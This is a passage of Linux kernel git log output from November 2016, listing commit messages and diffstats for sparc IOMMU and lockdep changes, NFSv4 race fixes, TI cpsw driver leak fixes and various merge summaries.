v2-> v3: Some more comments from Sam Ravnborg and Peter Zijlstra. Defined PROVE_LOCKING_SMALL as invisible and moved the selection to arch/sparc/Kconfig. v1-> v2: As suggested by Peter Zijlstra, keeping the default as is. Introduced new config variable CONFIG_PROVE_LOCKING_SMALL to handle sparc specific case. v0: Initial revision. ==================== Signed-off-by: David S. Miller commit e245d99e6cc4a0b904b87b46b4f60d46fb405987 Author: Babu Moger Date: Wed Nov 2 09:36:33 2016 -0700 lockdep: Limit static allocations if PROVE_LOCKING_SMALL is defined Reduce the size of data structure for lockdep entries by half if PROVE_LOCKING_SMALL if defined. This is used only for sparc. Signed-off-by: Babu Moger Acked-by: Sam Ravnborg Signed-off-by: David S. Miller kernel/locking/lockdep_internals.h | 20 +++++++++++++++++--- 1 file changed, 17 insertions(+), 3 deletions(-) commit e6b5f1be7afe1657c40c08082c562b1a036a54c1 Author: Babu Moger Date: Wed Nov 2 09:36:32 2016 -0700 config: Adding the new config parameter CONFIG_PROVE_LOCKING_SMALL for sparc This new config parameter limits the space used for "Lock debugging: prove locking correctness" by about 4MB. The current sparc systems have the limitation of 32MB size for kernel size including .text, .data and .bss sections. With PROVE_LOCKING feature, the kernel size could grow beyond this limit and causing system boot-up issues. With this option, kernel limits the size of the entries of lock_chains, stack_trace etc., so that kernel fits in required size limit. This is not visible to user and only used for sparc. Signed-off-by: Babu Moger Acked-by: Sam Ravnborg Signed-off-by: David S. Miller arch/sparc/Kconfig | 1 + lib/Kconfig.debug | 3 +++ 2 files changed, 4 insertions(+) commit d41cbfc9a64d11835a5b5b90caa7d6f3a88eb1df Author: Benjamin Coddington Date: Mon Nov 14 11:51:37 2016 -0500 NFSv4.1: Handle NFS4ERR_OLD_STATEID in nfs4_reclaim_open_state Now that we're doing TEST_STATEID in nfs4_reclaim_open_state(), we can have a NFS4ERR_OLD_STATEID returned from nfs41_open_expired() . Instead of marking state recovery as failed, mark the state for recovery again. Signed-off-by: Benjamin Coddington Signed-off-by: Anna Schumaker fs/nfs/nfs4state.c | 1 + 1 file changed, 1 insertion(+) commit 1a9bbccaf8182da368dae454b57dc1c55074d266 Author: Tushar Dave Date: Mon Oct 17 13:57:00 2016 -0700 sunbmac: Fix compiler warning sunbmac uses '__u32' for dma handle while invoking kernel DMA APIs, instead of using dma_addr_t. This hasn't caused any 'incompatible pointer type' warning on SPARC because until now dma_addr_t is of type u32. However, recent changes in SPARC ATU (iommu) enables 64bit DMA and therefore dma_addr_t becomes of type u64. This makes 'incompatible pointer type' warnings inevitable. e.g. drivers/net/ethernet/sun/sunbmac.c: In function ‘bigmac_ether_init’: drivers/net/ethernet/sun/sunbmac.c:1166: warning: passing argument 3 of ‘dma_alloc_coherent’ from incompatible pointer type ./include/linux/dma-mapping.h:445: note: expected ‘dma_addr_t *’ but argument is of type ‘__u32 *’ This patch resolves above compiler warning. Signed-off-by: Tushar Dave Reviewed-by: chris hyser Signed-off-by: David S. Miller drivers/net/ethernet/sun/sunbmac.c | 5 +++-- drivers/net/ethernet/sun/sunbmac.h | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) commit 266439c94df9e6aee3390c6e1cfdb645e566f704 Author: Tushar Dave Date: Mon Oct 17 13:56:59 2016 -0700 sunqe: Fix compiler warnings sunqe uses '__u32' for dma handle while invoking kernel DMA APIs, instead of using dma_addr_t. This hasn't caused any 'incompatible pointer type' warning on SPARC because until now dma_addr_t is of type u32. However, recent changes in SPARC ATU (iommu) enables 64bit DMA and therefore dma_addr_t becomes of type u64. This makes 'incompatible pointer type' warnings inevitable. e.g. drivers/net/ethernet/sun/sunqe.c: In function ‘qec_ether_init’: drivers/net/ethernet/sun/sunqe.c:883: warning: passing argument 3 of ‘dma_alloc_coherent’ from incompatible pointer type ./include/linux/dma-mapping.h:445: note: expected ‘dma_addr_t *’ but argument is of type ‘__u32 *’ drivers/net/ethernet/sun/sunqe.c:885: warning: passing argument 3 of ‘dma_alloc_coherent’ from incompatible pointer type ./include/linux/dma-mapping.h:445: note: expected ‘dma_addr_t *’ but argument is of type ‘__u32 *’ This patch resolves above compiler warnings. Signed-off-by: Tushar Dave Reviewed-by: chris hyser Signed-off-by: David S. Miller drivers/net/ethernet/sun/sunqe.c | 11 ++++++----- drivers/net/ethernet/sun/sunqe.h | 4 ++-- 2 files changed, 8 insertions(+), 7 deletions(-) commit 5cc7861eb5b425c7a30ff7676a4b9d0ca62d5c76 Author: Trond Myklebust Date: Mon Nov 14 11:19:56 2016 -0500 NFSv4: Don't call close if the open stateid has already been cleared Ensure we test to see if the open stateid is actually set, before we send a CLOSE. Signed-off-by: Trond Myklebust Signed-off-by: Anna Schumaker fs/nfs/nfs4proc.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 49cc0c43d0d60ba8ca1cd754921bb50119d42940 Merge: 87a349f d30a6b8 Author: David S. Miller Date: Fri Nov 18 11:17:10 2016 -0800 Merge branch 'sun4v-64bit-DMA' Tushar Dave says: ==================== sparc: Enable sun4v hypervisor PCI IOMMU v2 APIs and ATU ATU (Address Translation Unit) is a new IOMMU in SPARC supported with sun4v hypervisor PCI IOMMU v2 APIs. Current SPARC IOMMU supports only 32bit address ranges and one TSB per PCIe root complex that has a 2GB per root complex DVMA space limit. The limit has become a scalability bottleneck nowadays that a typical 10G/40G NIC can consume 500MB DVMA space per instance. When DVMA resource is exhausted, devices will not be usable since the driver can't allocate DVMA. For example, we recently experienced legacy IOMMU limitation while using i40e driver in system with large number of CPUs (e.g. 128). Four ports of i40e, each request 128 QP (Queue Pairs). Each queue has 512 (default) descriptors. So considering only RX queues (because RX premap DMA buffers), i40e takes 4*128*512 number of DMA entries in IOMMU table. Legacy IOMMU can have at max (2G/8K)- 1 entries available in table. So bringing up four instance of i40e alone saturate existing IOMMU resource. ATU removes bottleneck by allowing guest os to create IOTSB of size 32G (or more) with 64bit address ranges available in ATU HW. 32G is more than enough DVMA space to be shared by all PCIe devices under root complex contrast to 2G space provided by legacy IOMMU. ATU allows PCIe devices to use 64bit DMA addressing. Devices which choose to use 32bit DMA mask will continue to work with the existing legacy IOMMU. The patch set is tested on sun4v (T1000, T2000, T3, T4, T5, T7, S7) and sun4u SPARC. Thanks. -Tushar v2->v3: - Patch #5 addresses comment by Joe Perches. -- use %s, __func__ instead of embedding the function name. v1->v2: - Patch #2 addresses comments by Dave M. -- use page allocator to allocate IOTSB. -- use true/false with boolean variables. ==================== Signed-off-by: David S. Miller commit d30a6b84df00128e03588564925dc828a53e6865 Author: Tushar Dave Date: Fri Oct 28 10:12:45 2016 -0700 sparc64: Enable 64-bit DMA ATU 64bit addressing allows PCIe devices with 64bit DMA capabilities to use ATU for 64bit DMA. Signed-off-by: Tushar Dave Reviewed-by: chris hyser Acked-by: Sowmini Varadhan Signed-off-by: David S. Miller arch/sparc/Kconfig | 4 ++++ arch/sparc/kernel/iommu.c | 8 ++++++-- 2 files changed, 10 insertions(+), 2 deletions(-) commit f08978b0fdbf37d3c91efb60a20bdee3ba8f59c6 Author: Tushar Dave Date: Fri Oct 28 10:12:44 2016 -0700 sparc64: Enable sun4v dma ops to use IOMMU v2 APIs Add Hypervisor IOMMU v2 APIs pci_iotsb_map(), pci_iotsb_demap() and enable sun4v dma ops to use IOMMU v2 API for all PCIe devices with 64bit DMA mask. Signed-off-by: Tushar Dave Reviewed-by: chris hyser Acked-by: Sowmini Varadhan Signed-off-by: David S. Miller arch/sparc/include/asm/hypervisor.h | 6 + arch/sparc/kernel/pci_sun4v.c | 216 ++++++++++++++++++++++++++---------- arch/sparc/kernel/pci_sun4v.h | 11 ++ arch/sparc/kernel/pci_sun4v_asm.S | 36 ++++++ 4 files changed, 211 insertions(+), 58 deletions(-) commit 5116ab4eabed575b7cca61a6e89b7d6fb7440970 Author: Tushar Dave Date: Fri Oct 28 10:12:43 2016 -0700 sparc64: Bind PCIe devices to use IOMMU v2 service In order to use Hypervisor (HV) IOMMU v2 API for map/demap, each PCIe device has to be bound to IOTSB using HV API pci_iotsb_bind(). Signed-off-by: Tushar Dave Reviewed-by: chris hyser Acked-by: Sowmini Varadhan Signed-off-by: David S. Miller arch/sparc/kernel/pci_sun4v.c | 43 +++++++++++++++++++++++++++++++++++++++ arch/sparc/kernel/pci_sun4v.h | 3 +++ arch/sparc/kernel/pci_sun4v_asm.S | 14 +++++++++++++ 3 files changed, 60 insertions(+) commit 31f077dc7dffd4a444932a9fe7fe84d9c7b90b73 Author: Tushar Dave Date: Fri Oct 28 10:12:42 2016 -0700 sparc64: Initialize iommu_map_table and iommu_pool Like legacy IOMMU, use common iommu_map_table and iommu_pool for ATU. This change initializes iommu_map_table and iommu_pool for ATU. Signed-off-by: Tushar Dave Reviewed-by: chris hyser Reviewed-by: Sowmini Varadhan Signed-off-by: David S. Miller arch/sparc/include/asm/iommu_64.h | 2 ++ arch/sparc/kernel/pci_sun4v.c | 19 +++++++++++++++++++ 2 files changed, 21 insertions(+) commit f0248c1524fae654e9746e6843b9657fb3917387 Author: Tushar Dave Date: Fri Oct 28 10:12:41 2016 -0700 sparc64: Add ATU (new IOMMU) support ATU (Address Translation Unit) is a new IOMMU in SPARC supported with Hypervisor IOMMU v2 APIs. Current SPARC IOMMU supports only 32bit address ranges and one TSB per PCIe root complex that has a 2GB per root complex DVMA space limit. The limit has become a scalability bottleneck nowadays that a typical 10G/40G NIC can consume 300MB-500MB DVMA space per instance. When DVMA resource is exhausted, devices will not be usable since the driver can't allocate DVMA. ATU removes bottleneck by allowing guest os to create IOTSB of size 32G (or more) with 64bit address ranges available in ATU HW. 32G is more than enough DVMA space to be shared by all PCIe devices under root complex contrast to 2G space provided by legacy IOMMU. ATU allows PCIe devices to use 64bit DMA addressing. Devices which choose to use 32bit DMA mask will continue to work with the existing legacy IOMMU. Signed-off-by: Tushar Dave Reviewed-by: chris hyser Acked-by: Sowmini Varadhan Signed-off-by: David S. Miller arch/sparc/include/asm/hypervisor.h | 337 ++++++++++++++++++++++++++++++++++++ arch/sparc/include/asm/iommu_64.h | 26 +++ arch/sparc/kernel/hvapi.c | 1 + arch/sparc/kernel/pci_sun4v.c | 140 +++++++++++++++ arch/sparc/kernel/pci_sun4v.h | 7 + arch/sparc/kernel/pci_sun4v_asm.S | 18 ++ 6 files changed, 529 insertions(+) commit c88c545bf3202ca2cdb45df93eb40e3bcdbb3742 Author: Dave Kleikamp Date: Fri Oct 28 10:12:40 2016 -0700 sparc64: Add FORCE_MAX_ZONEORDER and default to 13 This change allows ATU (new IOMMU) in SPARC systems to request large (32M) contiguous memory during boot for creating IOTSB backing store. Signed-off-by: Dave Kleikamp Signed-off-by: Tushar Dave Signed-off-by: David S. Miller arch/sparc/Kconfig | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) commit f82ef3e10a870acc19fa04f80ef5877eaa26f41e Author: Sabrina Dubroca Date: Fri Nov 18 15:50:39 2016 +0100 rtnetlink: fix FDB size computation Add missing NDA_VLAN attribute's size. Fixes: 1e53d5bb8878 ("net: Pass VLAN ID to rtnl_fdb_notify.") Signed-off-by: Sabrina Dubroca Signed-off-by: David S. Miller net/core/rtnetlink.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 0f5258cd91e9d78a1ee30696314bec3c33321a93 Author: Stefan Hajnoczi Date: Fri Nov 18 09:41:46 2016 +0000 netns: fix get_net_ns_by_fd(int pid) typo The argument to get_net_ns_by_fd() is a /proc/$PID/ns/net file descriptor not a pid. Fix the typo. Signed-off-by: Stefan Hajnoczi Acked-by: Rami Rosen Signed-off-by: David S. Miller include/net/net_namespace.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 87305c4cd261664a12cff16740d0c40065bbd07f Merge: 06a77b0 9853a55 Author: David S. Miller Date: Fri Nov 18 14:00:27 2016 -0500 Merge tag 'mac80211-for-davem-2016-11-18' of git://git.kernel.org/pub/scm/linux/kernel/git/jberg/mac80211 Johannes Berg says: ==================== A few more bugfixes: * limit # of scan results stored in memory - this is a long-standing bug Jouni and I only noticed while discussing other things in Santa Fe * revert AP_LINK_PS patch that was causing issues (Felix) * various A-MSDU/A-MPDU fixes for TXQ code (Felix) * interoperability workaround for peers with broken VHT capabilities (Filip Matusiak) * add bitrate definition for a VHT MCS that's supposed to be invalid but gets used by some hardware anyway (Thomas Pedersen) * beacon timer fix in hwsim (Benjamin Beichler) ==================== Signed-off-by: David S. Miller commit 06a77b07e3b44aea2b3c0e64de420ea2cfdcbaa9 Author: WANG Cong Date: Thu Nov 17 15:55:26 2016 -0800 af_unix: conditionally use freezable blocking calls in read Commit 2b15af6f95 ("af_unix: use freezable blocking calls in read") converts schedule_timeout() to its freezable version, it was probably correct at that time, but later, commit 2b514574f7e8 ("net: af_unix: implement splice for stream af_unix sockets") breaks the strong requirement for a freezable sleep, according to commit 0f9548ca1091: We shouldn't try_to_freeze if locks are held. Holding a lock can cause a deadlock if the lock is later acquired in the suspend or hibernate path (e.g. by dpm). Holding a lock can also cause a deadlock in the case of cgroup_freezer if a lock is held inside a frozen cgroup that is later acquired by a process outside that group. The pipe_lock is still held at that point. So use freezable version only for the recvmsg call path, avoid impact for Android. Fixes: 2b514574f7e8 ("net: af_unix: implement splice for stream af_unix sockets") Reported-by: Dmitry Vyukov Cc: Tejun Heo Cc: Colin Cross Cc: Rafael J. Wysocki Cc: Hannes Frederic Sowa Signed-off-by: Cong Wang Signed-off-by: David S. Miller net/unix/af_unix.c | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) commit 0e2d1af399a3674351a5d0b8da5ba5764e0973a4 Merge: 06ba3b2 23a0987 Author: David S. Miller Date: Fri Nov 18 13:48:54 2016 -0500 Merge branch 'cpsw-fixes' Johan Hovold says: ==================== net: cpsw: fix leaks and probe deferral This series fixes as number of leaks and issues in the cpsw probe-error and driver-unbind paths, some which specifically prevented deferred probing. v2 - Keep platform device runtime-resumed throughout probe instead of resuming in the probe error path as suggested by Grygorii (patch 1/7). - Runtime-resume platform device before registering any children in order to make sure it is synchronously suspended after deregistering children in the error path (patch 3/7). ==================== Signed-off-by: David S. Miller commit 23a09873221c02106cf767a86743a55873f0d05b Author: Johan Hovold Date: Thu Nov 17 17:40:04 2016 +0100 net: ethernet: ti: cpsw: fix fixed-link phy probe deferral Make sure to propagate errors from of_phy_register_fixed_link() which can fail with -EPROBE_DEFER. Fixes: 1f71e8c96fc6 ("drivers: net: cpsw: Add support for fixed-link PHY") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpsw.c | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) commit 3420ea88509f9d585b39f36e737022faf0286d9a Author: Johan Hovold Date: Thu Nov 17 17:40:03 2016 +0100 net: ethernet: ti: cpsw: add missing sanity check Make sure to check for allocation failures before dereferencing a NULL-pointer during probe. Fixes: 649a1688c960 ("net: ethernet: ti: cpsw: create common struct to hold shared driver data") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpsw.c | 3 +++ 1 file changed, 3 insertions(+) commit a7fe9d466f6a33558a38c7ca9d58bcc83512d577 Author: Johan Hovold Date: Thu Nov 17 17:40:02 2016 +0100 net: ethernet: ti: cpsw: fix secondary-emac probe error path Make sure to deregister the primary device in case the secondary emac fails to probe. kernel BUG at /home/johan/work/omicron/src/linux/net/core/dev.c:7743! ... [] (free_netdev) from [] (cpsw_probe+0x9cc/0xe50) [] (cpsw_probe) from [] (platform_drv_probe+0x5c/0xc0) Fixes: d9ba8f9e6298 ("driver: net: ethernet: cpsw: dual emac interface implementation") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpsw.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 8cbcc466fd4abd38a14b9d9b76c63a2cb7006554 Author: Johan Hovold Date: Thu Nov 17 17:40:01 2016 +0100 net: ethernet: ti: cpsw: fix of_node and phydev leaks Make sure to drop references taken and deregister devices registered during probe on probe errors (including deferred probe) and driver unbind. Specifically, PHY of-node references were never released and fixed-link PHY devices were never deregistered. Fixes: 9e42f715264f ("drivers: net: cpsw: add phy-handle parsing") Fixes: 1f71e8c96fc6 ("drivers: net: cpsw: Add support for fixed-link PHY") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpsw.c | 35 +++++++++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) commit a4e32b0d0a26ba2f2ba1c65bd403d06ccc1df29c Author: Johan Hovold Date: Thu Nov 17 17:40:00 2016 +0100 net: ethernet: ti: cpsw: fix deferred probe Make sure to deregister all child devices also on probe errors to avoid leaks and to fix probe deferral: cpsw 4a100000.ethernet: omap_device: omap_device_enable() called from invalid state 1 cpsw 4a100000.ethernet: use pm_runtime_put_sync_suspend() in driver? cpsw: probe of 4a100000.ethernet failed with error -22 Add generic helper to undo the effects of cpsw_probe_dt(), which will also be used in a follow-on patch to fix further leaks that have been introduced more recently. Note that the platform device is now runtime-resumed before registering any child devices in order to make sure that it is synchronously suspended after having deregistered the children in the error path. Fixes: 1fb19aa730e4 ("net: cpsw: Add parent<->child relation support between cpsw and mdio") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpsw.c | 41 ++++++++++++++++++++++++----------------- 1 file changed, 24 insertions(+), 17 deletions(-) commit 86e1d5adcef961eb383ce4eacbe0ef22f06e2045 Author: Johan Hovold Date: Thu Nov 17 17:39:59 2016 +0100 net: ethernet: ti: cpsw: fix mdio device reference leak Make sure to drop the reference taken by of_find_device_by_node() when looking up an mdio device from a phy_id property during probe. Fixes: 549985ee9c72 ("cpsw: simplify the setup of the register pointers") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpsw.c | 1 + 1 file changed, 1 insertion(+) commit c46ab7e08c79be7400f6d59edbc6f26a91941c5a Author: Johan Hovold Date: Thu Nov 17 17:39:58 2016 +0100 net: ethernet: ti: cpsw: fix bad register access in probe error path Make sure to keep the platform device runtime-resumed throughout probe to avoid accessing the CPSW registers in the error path (e.g. for deferred probe) with clocks disabled: Unhandled fault: external abort on non-linefetch (0x1008) at 0xd0872d08 ... [] (cpsw_ale_control_set) from [] (cpsw_ale_destroy+0x2c/0x44) [] (cpsw_ale_destroy) from [] (cpsw_probe+0xbd0/0x10c4) [] (cpsw_probe) from [] (platform_drv_probe+0x5c/0xc0) Fixes: df828598a755 ("netdev: driver: ethernet: Add TI CPSW driver") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpsw.c | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) commit 06ba3b2133dc203e1e9bc36cee7f0839b79a9e8b Author: Jeremy Linton Date: Thu Nov 17 09:14:25 2016 -0600 net: sky2: Fix shutdown crash The sky2 frequently crashes during machine shutdown with: sky2_get_stats+0x60/0x3d8 [sky2] dev_get_stats+0x68/0xd8 rtnl_fill_stats+0x54/0x140 rtnl_fill_ifinfo+0x46c/0xc68 rtmsg_ifinfo_build_skb+0x7c/0xf0 rtmsg_ifinfo.part.22+0x3c/0x70 rtmsg_ifinfo+0x50/0x5c netdev_state_change+0x4c/0x58 linkwatch_do_dev+0x50/0x88 __linkwatch_run_queue+0x104/0x1a4 linkwatch_event+0x30/0x3c process_one_work+0x140/0x3e0 worker_thread+0x60/0x44c kthread+0xdc/0xf0 ret_from_fork+0x10/0x50 This is caused by the sky2 being called after it has been shutdown. A previous thread about this can be found here: https://lkml.org/lkml/2016/4/12/410 An alternative fix is to assure that IFF_UP gets cleared by calling dev_close() during shutdown. This is similar to what the bnx2/tg3/xgene and maybe others are doing to assure that the driver isn't being called following _shutdown(). Signed-off-by: Jeremy Linton Signed-off-by: David S. Miller drivers/net/ethernet/marvell/sky2.c | 13 +++++++++++++ 1 file changed, 13 insertions(+) commit 3e7dfb1659c2888fc0152ec2b02a5e932397bb0a Author: Trond Myklebust Date: Mon Nov 14 11:19:55 2016 -0500 NFSv4: Fix CLOSE races with OPEN If the reply to a successful CLOSE call races with an OPEN to the same file, we can end up scribbling over the stateid that represents the new open state. The race looks like: Client Server ====== ====== CLOSE stateid A on file "foo" CLOSE stateid A, return stateid C OPEN file "foo" OPEN "foo", return stateid B Receive reply to OPEN Reset open state for "foo" Associate stateid B to "foo" Receive CLOSE for A Reset open state for "foo" Replace stateid B with C The fix is to examine the argument of the CLOSE, and check for a match with the current stateid "other" field. If the two do not match, then the above race occurred, and we should just ignore the CLOSE. Reported-by: Benjamin Coddington Signed-off-by: Trond Myklebust Signed-off-by: Anna Schumaker fs/nfs/nfs4_fs.h | 7 +++++++ fs/nfs/nfs4proc.c | 12 ++++++------ 2 files changed, 13 insertions(+), 6 deletions(-) commit 23ea44c2150d14b97518435a65cc74111804fbeb Author: Trond Myklebust Date: Thu Nov 10 16:06:28 2016 -0500 NFSv4.1: Fix a regression in DELEGRETURN We don't want to call nfs4_free_revoked_stateid() in the case where the delegreturn was successful. Reported-by: Benjamin Coddington Signed-off-by: Trond Myklebust Signed-off-by: Anna Schumaker fs/nfs/nfs4proc.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit c1717701be2f0639e5f817385a524131dbd3ff38 Merge: bd2bc2b 6ff1a25 Author: Linus Torvalds Date: Fri Nov 18 08:56:47 2016 -0800 Merge tag 'sound-4.9-rc6' of git://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound Pull sound fixes from Takashi Iwai: "Three trivial fixes: A regression fix for ASRock mobo, a use-after-free fix at hot-unplug of USB-audio, and a quirk for new Thinkpad models" * tag 'sound-4.9-rc6' of git://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound: ALSA: usb-audio: Fix use-after-free of usb_device at disconnect ALSA: hda - Fix mic regression by ASRock mobo fixup ALSA: hda - add a new condition to check if it is thinkpad commit bd2bc2b8e63f872f8aa0f3536a40ffce6e1840bb Merge: 12b70ec f9c22ec Author: Linus Torvalds Date: Fri Nov 18 08:47:47 2016 -0800 Merge tag 'gpio-v4.9-4' of git://git.kernel.org/pub/scm/linux/kernel/git/linusw/linux-gpio Pull GPIO fixes from Linus Walleij: "These are hopefully the last GPIO fixes for v4.9. The most important is that it fixes the UML randconfig builds that have been nagging me for some time and me being confused about where the problem was really sitting, now this fix give this nice feeling that everything is solid and builds fine. Summary: - Finally, after being puzzled by a bunch of recurrent UML build failures on randconfigs from the build robot, Keno Fischer nailed it: GPIO_DEVRES is optional and depends on HAS_IOMEM even though many users just unconditionally rely on it to be available. And it *should* be available: garbage collection is nice for this and it *certainly* has nothing to do with having IOMEM. So we got rid of it, and now the UML builds should JustWork(TM). - Do not call .get_direction() on sleeping GPIO chips on the fastpath when locking GPIOs for interrupts: it is done from atomic context, no way. - Some driver fixes" * tag 'gpio-v4.9-4' of git://git.kernel.org/pub/scm/linux/kernel/git/linusw/linux-gpio: gpio: Remove GPIO_DEVRES option gpio: tc3589x: fix up .get_direction() gpio: do not double-check direction on sleeping chips gpio: pca953x: Move memcpy into mutex lock for set multiple gpio: pca953x: Fix corruption of other gpios in set_multiple. commit 12b70ec0d3a6eb2696f3c091af6ecac31d2f8e66 Merge: 6238986 c2ee69d Author: Linus Torvalds Date: Fri Nov 18 08:22:48 2016 -0800 Merge tag 'drm-fixes-for-v4.9-rc6-brown-paper-bag' of git://people.freedesktop.org/~airlied/linux Pull drm fixes from Dave Airlie: "i915 fixes + 2 mediatek regressions. So some i915 fixes came in which I thought they might so I'm sending those along with two reverts for two patches to the mediatek driver that didn't seem to build so well, I've fixed up my -fixes ARM build and .config so I could see it, but yes brown paper bag time" * tag 'drm-fixes-for-v4.9-rc6-brown-paper-bag' of git://people.freedesktop.org/~airlied/linux: Revert "drm/mediatek: set vblank_disable_allowed to true" Revert "drm/mediatek: fix a typo of OD_CFG to OD_RELAYMODE" drm/i915: Assume non-DP++ port if dvo_port is HDMI and there's no AUX ch specified in the VBT drm/i915: Refresh that status of MST capable connectors in ->detect() drm/i915: Grab the rotation from the passed plane state for VLV sprites drm/i915: Mark CPU cache as dirty when used for rendering commit c0da038d7afed2892346fdb9601e4fefee13a800 Merge: 268200b 2ab1329 Author: Greg Kroah-Hartman Date: Fri Nov 18 15:49:31 2016 +0100 Merge tag 'usb-serial-4.9-rc6' of git://git.kernel.org/pub/scm/linux/kernel/git/johan/usb-serial into usb-linus Johan writes: USB-serial fixes for v4.9-rc6 Here are a couple of new device ids. Signed-off-by: Johan Hovold commit a8348bca2944d397a528772f5c0ccb47a8b58af4 Author: Herbert Xu Date: Thu Nov 17 22:07:58 2016 +0800 crypto: algif_hash - Fix NULL hash crash with shash Recently algif_hash has been changed to allow null hashes. This triggers a bug when used with an shash algorithm whereby it will cause a crash during the digest operation. This patch fixes it by avoiding the digest operation and instead doing an init followed by a final which avoids the buggy code in shash. This patch also ensures that the result buffer is freed after an error so that it is not returned as a genuine hash result on the next recv call. The shash/ahash wrapper code will be fixed later to handle this case correctly. Fixes: 493b2ed3f760 ("crypto: algif_hash - Handle NULL hashes correctly") Signed-off-by: Herbert Xu Tested-by: Laura Abbott crypto/algif_hash.c | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) commit b0921d5c9ed6ffa8a4d6afc5ee5f136b87445f14 Author: Michael Walle Date: Tue Nov 15 11:13:16 2016 +0100 mmc: sdhci-of-esdhc: fixup PRESENT_STATE read Since commit 87a18a6a5652 ("mmc: mmc: Use ->card_busy() to detect busy cards in __mmc_switch()") the ESDHC driver is broken: mmc0: Card stuck in programming state! __mmc_switch mmc0: error -110 whilst initialising MMC card Since this commit __mmc_switch() uses ->card_busy(), which is sdhci_card_busy() for the esdhc driver. sdhci_card_busy() uses the PRESENT_STATE register, specifically the DAT0 signal level bit. But the ESDHC uses a non-conformant PRESENT_STATE register, thus a read fixup is required to make the driver work again. Signed-off-by: Michael Walle Fixes: 87a18a6a5652 ("mmc: mmc: Use ->card_busy() to detect busy cards in __mmc_switch()") Acked-by: Yangbo Lu Acked-by: Adrian Hunter Cc: # v4.8+ Signed-off-by: Ulf Hansson drivers/mmc/host/sdhci-of-esdhc.c | 14 ++++++++++++++ drivers/mmc/host/sdhci.h | 1 + 2 files changed, 15 insertions(+) commit 268200bcafe4741db27667a42e5165a02800fb02 Merge: f7c4a46 05e78c6 Author: Greg Kroah-Hartman Date: Fri Nov 18 13:43:49 2016 +0100 Merge tag 'fixes-for-v4.9-rc6' of git://git.kernel.org/pub/scm/linux/kernel/git/balbi/usb into usb-linus Felipe writes: usb: fixes for v4.9-rc5 One single fix for FunctionFS to make sure we're checking ffs_func_req_match()'s return code correctly. commit cac4a185405d4415eca269cae976438b44a37ae0 Author: Aneesh Kumar K.V Date: Thu Nov 17 15:46:23 2016 +0530 powerpc/mm: Fix missing update of HID register on secondary CPUs We need to update on secondaries for the selected MMU mode. Fixes: ad410674f560 ("powerpc/mm: Update the HID bit when switching from radix to hash") Reported-by: Michael Neuling Signed-off-by: Aneesh Kumar K.V Signed-off-by: Michael Ellerman arch/powerpc/mm/hash_utils_64.c | 4 ++++ arch/powerpc/mm/pgtable-radix.c | 4 ++++ 2 files changed, 8 insertions(+) commit 05e78c6933d613a7da0d0473f4c19c865af04c2c Author: Felix Hädicke Date: Fri Nov 4 00:23:26 2016 +0100 usb: gadget: f_fs: fix wrong parenthesis in ffs_func_req_match() Properly check the return code of ffs_func_revmap_intf() and ffs_func_revmap_ep() for a non-negative value. Instead of checking the return code, the comparison was performed for the last parameter of the function calls, because of wrong parenthesis. This also fixes the following static checker warning: drivers/usb/gadget/function/f_fs.c:3152 ffs_func_req_match() warn: always true condition '(((creq->wIndex)) >= 0) => (0-u16max >= 0)' Reported-by: Dan Carpenter Signed-off-by: Felix Hädicke Signed-off-by: Felipe Balbi drivers/usb/gadget/function/f_fs.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit b112c84a6ff035271d41d548c10215f18443d6a6 Author: Wei Huang Date: Wed Nov 16 11:09:20 2016 -0600 KVM: arm64: Fix the issues when guest PMCCFILTR is configured KVM calls kvm_pmu_set_counter_event_type() when PMCCFILTR is configured. But this function can't deals with PMCCFILTR correctly because the evtCount bits of PMCCFILTR, which is reserved 0, conflits with the SW_INCR event type of other PMXEVTYPER registers. To fix it, when eventsel == 0, this function shouldn't return immediately; instead it needs to check further if select_idx is ARMV8_PMU_CYCLE_IDX. Another issue is that KVM shouldn't copy the eventsel bits of PMCCFILTER blindly to attr.config. Instead it ought to convert the request to the "cpu cycle" event type (i.e. 0x11). To support this patch and to prevent duplicated definitions, a limited set of ARMv8 perf event types were relocated from perf_event.c to asm/perf_event.h. Cc: stable@vger.kernel.org # 4.6+ Acked-by: Will Deacon Signed-off-by: Wei Huang Signed-off-by: Marc Zyngier arch/arm64/include/asm/perf_event.h | 10 +++++++++- arch/arm64/kernel/perf_event.c | 10 +--------- virt/kvm/arm/pmu.c | 8 +++++--- 3 files changed, 15 insertions(+), 13 deletions(-) commit 9e3f7a29694049edd728e2400ab57ad7553e5aa9 Author: Wei Huang Date: Wed Nov 16 09:20:57 2016 +0000 arm64: KVM: pmu: Fix AArch32 cycle counter access We're missing the handling code for the cycle counter accessed from a 32bit guest, leading to unexpected results. Cc: stable@vger.kernel.org # 4.6+ Signed-off-by: Wei Huang Signed-off-by: Marc Zyngier arch/arm64/kvm/sys_regs.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) commit e40ed1542dd779e5037a22c6b534e57127472365 Author: Janakarajan Natarajan Date: Thu Nov 17 10:15:06 2016 -0600 perf/x86: Add perf support for AMD family-17h processors This patch enables perf core PMU support for the new AMD family-17h processors. In family-17h, there is no PMC-event constraint. All events, irrespective of the type, can be measured using any of the six 